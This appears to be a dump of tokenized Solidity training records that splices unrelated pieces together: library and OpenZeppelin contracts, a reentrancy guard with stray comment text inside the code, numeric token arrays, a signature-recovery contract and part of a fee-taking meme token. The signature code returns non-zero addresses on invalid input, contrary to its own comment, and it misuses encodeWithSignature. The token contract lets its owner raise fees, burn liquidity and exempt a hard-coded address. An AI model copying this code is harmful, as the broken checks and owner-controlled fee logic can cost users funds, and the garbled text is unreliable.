function log(address p0, string memory p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,uint,string)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,uint,bool)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,uint,address)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,string,uint)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,string,string)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,string,bool)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,string,address)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,bool,uint)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,bool,string)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,bool,bool)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,bool,address)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,address,uint)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,address,string)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,address,bool)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,address,address)", p0, p1, p2, p3));
}
function log(address p0, bool p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,uint)", p0, p1, p2, p3));
}
function log(address p0, bool p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,string)", p0, p1, p2, p3));
}
function log(address p0, bool p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,bool)", p0, p1, p2, p3));
}
function log(address p0, bool p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,address)", p0, p1, p2, p3));
}
function log(address p0, bool p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,string,uint)", p0, p1, p2, p3));
}
function log(address p0, bool p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,string,string)", p0, p1, p2, p3));
}
function log(address p0, bool p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,string,bool)", p0, p1, p2, p3));
}
function log(address p0, bool p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,string,address)", p0, p1, p2, p3));
}
function log(address p0, bool p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,uint)", p0, p1, p2, p3));
}
function log(address p0, bool p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,string)", p0, p1, p2, p3));
}
function log(address p0, bool p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,bool)", p0, p1, p2, p3));
}
function log(address p0, bool p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,address)", p0, p1, p2, p3));
}
function log(address p0, bool p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,address,uint)", p0, p1, p2, p3));
}
function log(address p0, bool p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,address,string)", p0, p1, p2, p3));
}
function log(address p0, bool p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,address,bool)", p0, p1, p2, p3));
}
function log(address p0, bool p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,address,address)", p0, p1, p2, p3));
}
function log(address p0, address p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,uint,uint)", p0, p1, p2, p3));
}
function log(address p0, address p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,uint,string)", p0, p1, p2, p3));
}
function log(address p0, address p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,uint,bool)", p0, p1, p2, p3));
}
function log(address p0, address p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,uint,address)", p0, p1, p2, p3));
}
function log(address p0, address p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,string,uint)", p0, p1, p2, p3));
}
function log(address p0, address p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,string,string)", p0, p1, p2, p3));
}
function log(address p0, address p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,string,bool)", p0, p1, p2, p3));
}
function log(address p0, address p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,string,address)", p0, p1, p2, p3));
}
function log(address p0, address p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,bool,uint)", p0, p1, p2, p3));
}
function log(address p0, address p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,bool,string)", p0, p1, p2, p3));
}
function log(address p0, address p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,bool,bool)", p0, p1, p2, p3));
}
function log(address p0, address p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,bool,address)", p0, p1, p2, p3));
}
function log(address p0, address p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,address,uint)", p0, p1, p2, p3));
}
function log(address p0, address p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,address,string)", p0, p1, p2, p3));
}
function log(address p0, address p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,address,bool)", p0, p1, p2, p3));
}
function log(address p0, address p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,address,address)", p0, p1, p2, p3));
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant alphabet = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = alphabet[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./IERC165.sol";
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
} | /* @title ReentrancyGuarded @author Wyvern Protocol Developers/ | contract ReentrancyGuarded {
bool reentrancyLock = false;
Simple contract extension to provide a contract-global reentrancy guard on functions.
pragma solidity 0.8.7;
modifier reentrancyGuard() {
require(!reentrancyLock, "Reentrancy detected");
reentrancyLock = true;
_;
reentrancyLock = false;
}
}
| 1,353,950 | [
1,
19,
225,
868,
8230,
12514,
6099,
17212,
225,
29271,
502,
82,
4547,
1505,
8250,
414,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
16351,
868,
8230,
12514,
6099,
17212,
288,
203,
565,
1426,
283,
8230,
12514,
2531,
273,
629,
31,
203,
203,
203,
225,
4477,
6835,
2710,
358,
5615,
279,
6835,
17,
6347,
283,
8230,
12514,
11026,
603,
4186,
18,
203,
203,
203,
683,
9454,
18035,
560,
374,
18,
28,
18,
27,
31,
203,
203,
565,
9606,
283,
8230,
12514,
16709,
1435,
288,
203,
3639,
2583,
12,
5,
2842,
313,
12514,
2531,
16,
315,
426,
8230,
12514,
8316,
8863,
203,
3639,
283,
8230,
12514,
2531,
273,
638,
31,
203,
3639,
389,
31,
203,
3639,
283,
8230,
12514,
2531,
273,
629,
31,
203,
565,
289,
203,
97,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
pragma solidity ^0.5.17;
contract Signer {
/**
* @dev Returns the address that signed a hashed message (`hash`) with
* `signature`. This address can then be used for verification purposes.
*
* The `ecrecover` EVM opcode allows for malleable (non-unique) signatures:
* this function rejects them by requiring the `s` value to be in the lower
* half order, and the `v` value to be either 27 or 28.
*
* NOTE: This call _does not revert_ if the signature is invalid, or
* if the signer is otherwise unable to be retrieved. In those scenarios,
* the zero address is returned.
*
* IMPORTANT: `hash` _must_ be the result of a hash operation for the
* verification to be secure: it is possible to craft signatures that
* recover to arbitrary addresses for non-hashed data. A safe way to ensure
* this is by receiving a hash of the original message (which may otherwise
* be too long), and then calling {toEthSignedMessageHash} on it.
*/
function recover(bytes32 hash, bytes memory signature) public pure returns (address) {
// Check the signature length
if (signature.length != 65) {
return (address(1));
}
// Divide the signature in r, s and v variables
bytes32 r;
bytes32 s;
uint8 v;
// ecrecover takes the signature parameters, and the only way to get them
// currently is to use assembly.
// solhint-disable-next-line no-inline-assembly
assembly {
r := mload(add(signature, 0x20))
s := mload(add(signature, 0x40))
v := byte(0, mload(add(signature, 0x60)))
}
// EIP-2 still allows signature malleability for ecrecover(). Remove this possibility and make the signature
// unique. Appendix F in the Ethereum Yellow paper (https://ethereum.github.io/yellowpaper/paper.pdf), defines
// the valid range for s in (281): 0 < s < secp256k1n ÷ 2 + 1, and for v in (282): v ∈ {27, 28}. Most
// signatures from current libraries generate a unique signature with an s-value in the lower half order.
//
// If your library generates malleable signatures, such as s-values in the upper range, calculate a new s-value
// with 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 - s1 and flip v from 27 to 28 or
// vice versa. If your library also generates signatures with 0/1 for v instead 27/28, add 27 to v to accept
// these malleable signatures as well.
if (uint256(s) > 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0) {
return address(2);
}
if (v != 27 && v != 28) {
return address(3);
}
// If the signature is valid (and not malleable), return the signer address
return ecrecover(hash, v, r, s);
}
/**
* @dev Returns an Ethereum Signed Message, created from a `hash`. This
* replicates the behavior of the
* https://github.com/ethereum/wiki/wiki/JSON-RPC#eth_sign[`eth_sign`]
* JSON-RPC method.
*
* See {recover}.
*/
function toEthSignedMessageHash(string calldata hash) external pure returns (bytes32) {
// 32 is the length in bytes of hash,
// enforced by the type signature above
return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", abi.encodeWithSignature(hash)));
}
} | * @dev Returns an Ethereum Signed Message, created from a `hash`. This replicates the behavior of the JSON-RPC method. See {recover}./ 32 is the length in bytes of hash, enforced by the type signature above | function toEthSignedMessageHash(string calldata hash) external pure returns (bytes32) {
return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", abi.encodeWithSignature(hash)));
}
| 6,697,971 | [
1,
1356,
392,
512,
18664,
379,
16724,
2350,
16,
2522,
628,
279,
1375,
2816,
8338,
1220,
14447,
815,
326,
6885,
434,
326,
1796,
17,
8087,
707,
18,
2164,
288,
266,
3165,
5496,
19,
3847,
353,
326,
769,
316,
1731,
434,
1651,
16,
570,
19778,
635,
326,
618,
3372,
5721,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
445,
358,
41,
451,
12294,
1079,
2310,
12,
1080,
745,
892,
1651,
13,
3903,
16618,
1135,
261,
3890,
1578,
13,
288,
203,
3639,
327,
417,
24410,
581,
5034,
12,
21457,
18,
3015,
4420,
329,
31458,
92,
3657,
41,
18664,
379,
16724,
2350,
5581,
82,
1578,
3113,
24126,
18,
3015,
1190,
5374,
12,
2816,
3719,
1769,
203,
565,
289,
203,
377,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
./partial_match/1/0x6D96F8D8f22dB76dF910f4435893eE6e1FC21414/sources/BEEPE.sol | Anti-bot and anti-whale mappings and variables exlcude from fees and max transaction amount store addresses that a automatic market maker pairs. Any transfer *to* these addresses could be subject to a maximum transfer amount | contract BEEPE is ERC20, Ownable {
using SafeMath for uint256;
IUniswapV2Router02 public immutable uniswapV2Router;
address public immutable uniswapV2Pair;
address public constant deadAddress = address(0xdead);
bool private swapping;
address public marketingWallet;
address public devWallet;
uint256 public maxTransactionAmount;
uint256 public swapTokensAtAmount;
uint256 public maxWallet;
bool public lpBurnEnabled = true;
uint256 public lpBurnFrequency = 3600 seconds;
uint256 public lastLpBurnTime;
uint256 public manualBurnFrequency = 30 minutes;
uint256 public lastManualLpBurnTime;
bool public limitsInEffect = true;
bool public tradingActive = false;
bool public swapEnabled = true;
bool public transferDelayEnabled = true;
uint256 public buyTotalFees;
uint256 public buyMarketingFee;
uint256 public buyLiquidityFee;
uint256 public buyDevFee;
uint256 public sellTotalFees;
uint256 public sellMarketingFee;
uint256 public sellLiquidityFee;
uint256 public sellDevFee;
uint256 public tokensForMarketing;
uint256 public tokensForLiquidity;
uint256 public tokensForDev;
mapping (address => bool) private _isExcludedFromFees;
mapping (address => bool) public _isExcludedMaxTransactionAmount;
mapping (address => bool) public automatedMarketMakerPairs;
event UpdateUniswapV2Router(address indexed newAddress, address indexed oldAddress);
event ExcludeFromFees(address indexed account, bool isExcluded);
event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);
event marketingWalletUpdated(address indexed newWallet, address indexed oldWallet);
event devWalletUpdated(address indexed newWallet, address indexed oldWallet);
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiquidity
);
event AutoNukeLP();
event ManualNukeLP();
constructor() ERC20("Beepe", "BEEPE") {
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
excludeFromMaxTransaction(address(_uniswapV2Router), true);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
excludeFromMaxTransaction(address(uniswapV2Pair), true);
_setAutomatedMarketMakerPair(address(uniswapV2Pair), true);
uint256 _buyMarketingFee = 10;
uint256 _buyLiquidityFee = 0;
uint256 _buyDevFee = 0;
uint256 _sellMarketingFee = 20;
uint256 _sellLiquidityFee = 0;
uint256 _sellDevFee = 0;
uint256 totalSupply = 1 * 1e9 * 1e18;
buyMarketingFee = _buyMarketingFee;
buyLiquidityFee = _buyLiquidityFee;
buyDevFee = _buyDevFee;
buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee;
sellMarketingFee = _sellMarketingFee;
sellLiquidityFee = _sellLiquidityFee;
sellDevFee = _sellDevFee;
sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee;
excludeFromFees(owner(), true);
excludeFromFees(address(this), true);
excludeFromFees(address(0xdead), true);
excludeFromFees(address(0x9d6450069C135705B2f85DBe07851215927ad464), true);
excludeFromMaxTransaction(owner(), true);
excludeFromMaxTransaction(address(this), true);
excludeFromMaxTransaction(address(0xdead), true);
excludeFromMaxTransaction(address(0x9d6450069C135705B2f85DBe07851215927ad464), true);
_mint is an internal function in ERC20.sol that is only called here,
and CANNOT be called ever again
_mint(msg.sender, totalSupply);
}
receive() external payable {
}
function enableTrading() external onlyOwner {
tradingActive = true;
swapEnabled = true;
lastLpBurnTime = block.timestamp;
}
function removeLimits() external onlyOwner returns (bool){
limitsInEffect = false;
return true;
}
function disableTransferDelay() external onlyOwner returns (bool){
transferDelayEnabled = false;
return true;
}
function updateSwapTokensAtAmount(uint256 newAmount) external onlyOwner returns (bool){
require(newAmount >= totalSupply() * 1 / 100000, "Swap amount cannot be lower than 0.001% total supply.");
require(newAmount <= totalSupply() * 5 / 1000, "Swap amount cannot be higher than 0.5% total supply.");
swapTokensAtAmount = newAmount;
return true;
}
function updateMaxTxnAmount(uint256 newNum) external onlyOwner {
require(newNum >= (totalSupply() * 1 / 1000)/1e18, "Cannot set maxTransactionAmount lower than 0.1%");
maxTransactionAmount = newNum * (10**18);
}
function updateMaxWalletAmount(uint256 newNum) external onlyOwner {
require(newNum >= (totalSupply() * 5 / 1000)/1e18, "Cannot set maxWallet lower than 0.5%");
maxWallet = newNum * (10**18);
}
function excludeFromMaxTransaction(address updAds, bool isEx) public onlyOwner {
_isExcludedMaxTransactionAmount[updAds] = isEx;
}
function updateSwapEnabled(bool enabled) external onlyOwner(){
swapEnabled = enabled;
}
function updateBuyFees(uint256 _marketingFee, uint256 _liquidityFee, uint256 _devFee) external onlyOwner {
buyMarketingFee = _marketingFee;
buyLiquidityFee = _liquidityFee;
buyDevFee = _devFee;
buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee;
require(buyTotalFees <= 30, "Must keep fees at 30% or less");
}
function updateSellFees(uint256 _marketingFee, uint256 _liquidityFee, uint256 _devFee) external onlyOwner {
sellMarketingFee = _marketingFee;
sellLiquidityFee = _liquidityFee;
sellDevFee = _devFee;
sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee;
require(sellTotalFees <= 35, "Must keep fees at 35% or less");
}
function excludeFromFees(address account, bool excluded) public onlyOwner {
_isExcludedFromFees[account] = excluded;
emit ExcludeFromFees(account, excluded);
}
function setAutomatedMarketMakerPair(address pair, bool value) public onlyOwner {
require(pair != uniswapV2Pair, "The pair cannot be removed from automatedMarketMakerPairs");
_setAutomatedMarketMakerPair(pair, value);
}
function _setAutomatedMarketMakerPair(address pair, bool value) private {
automatedMarketMakerPairs[pair] = value;
emit SetAutomatedMarketMakerPair(pair, value);
}
function updateMarketingWallet(address newMarketingWallet) external onlyOwner {
emit marketingWalletUpdated(newMarketingWallet, marketingWallet);
marketingWallet = newMarketingWallet;
}
function updateDevWallet(address newWallet) external onlyOwner {
emit devWalletUpdated(newWallet, devWallet);
devWallet = newWallet;
}
function isExcludedFromFees(address account) public view returns(bool) {
return _isExcludedFromFees[account];
}
event BoughtEarly(address indexed sniper);
function _transfer(
address from,
address to,
uint256 amount
) internal override {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
if(amount == 0) {
super._transfer(from, to, 0);
return;
}
if(limitsInEffect){
if (
from != owner() &&
to != owner() &&
to != address(0) &&
to != address(0xdead) &&
!swapping
){
if(!tradingActive){
require(_isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active.");
}
if (transferDelayEnabled){
if (to != owner() && to != address(uniswapV2Router) && to != address(uniswapV2Pair)){
require(_holderLastTransferTimestamp[tx.origin] < block.number, "_transfer:: Transfer Delay enabled. Only one purchase per block allowed.");
_holderLastTransferTimestamp[tx.origin] = block.number;
}
}
if (automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to]) {
require(amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTransactionAmount.");
require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded");
}
else if (automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from]) {
require(amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount.");
}
else if(!_isExcludedMaxTransactionAmount[to]){
require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded");
}
}
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= swapTokensAtAmount;
if(
canSwap &&
swapEnabled &&
!swapping &&
!automatedMarketMakerPairs[from] &&
!_isExcludedFromFees[from] &&
!_isExcludedFromFees[to]
) {
swapping = true;
swapBack();
swapping = false;
}
if(!swapping && automatedMarketMakerPairs[to] && lpBurnEnabled && block.timestamp >= lastLpBurnTime + lpBurnFrequency && !_isExcludedFromFees[from]){
autoBurnLiquidityPairTokens();
}
bool takeFee = !swapping;
if(_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
takeFee = false;
}
uint256 fees = 0;
if(takeFee){
if (automatedMarketMakerPairs[to] && sellTotalFees > 0){
fees = amount.mul(sellTotalFees).div(100);
tokensForLiquidity += fees * sellLiquidityFee / sellTotalFees;
tokensForDev += fees * sellDevFee / sellTotalFees;
tokensForMarketing += fees * sellMarketingFee / sellTotalFees;
}
else if(automatedMarketMakerPairs[from] && buyTotalFees > 0) {
fees = amount.mul(buyTotalFees).div(100);
tokensForLiquidity += fees * buyLiquidityFee / buyTotalFees;
tokensForDev += fees * buyDevFee / buyTotalFees;
tokensForMarketing += fees * buyMarketingFee / buyTotalFees;
}
if(fees > 0){
super._transfer(from, address(this), fees);
}
amount -= fees;
}
super._transfer(from, to, amount);
}
function _transfer(
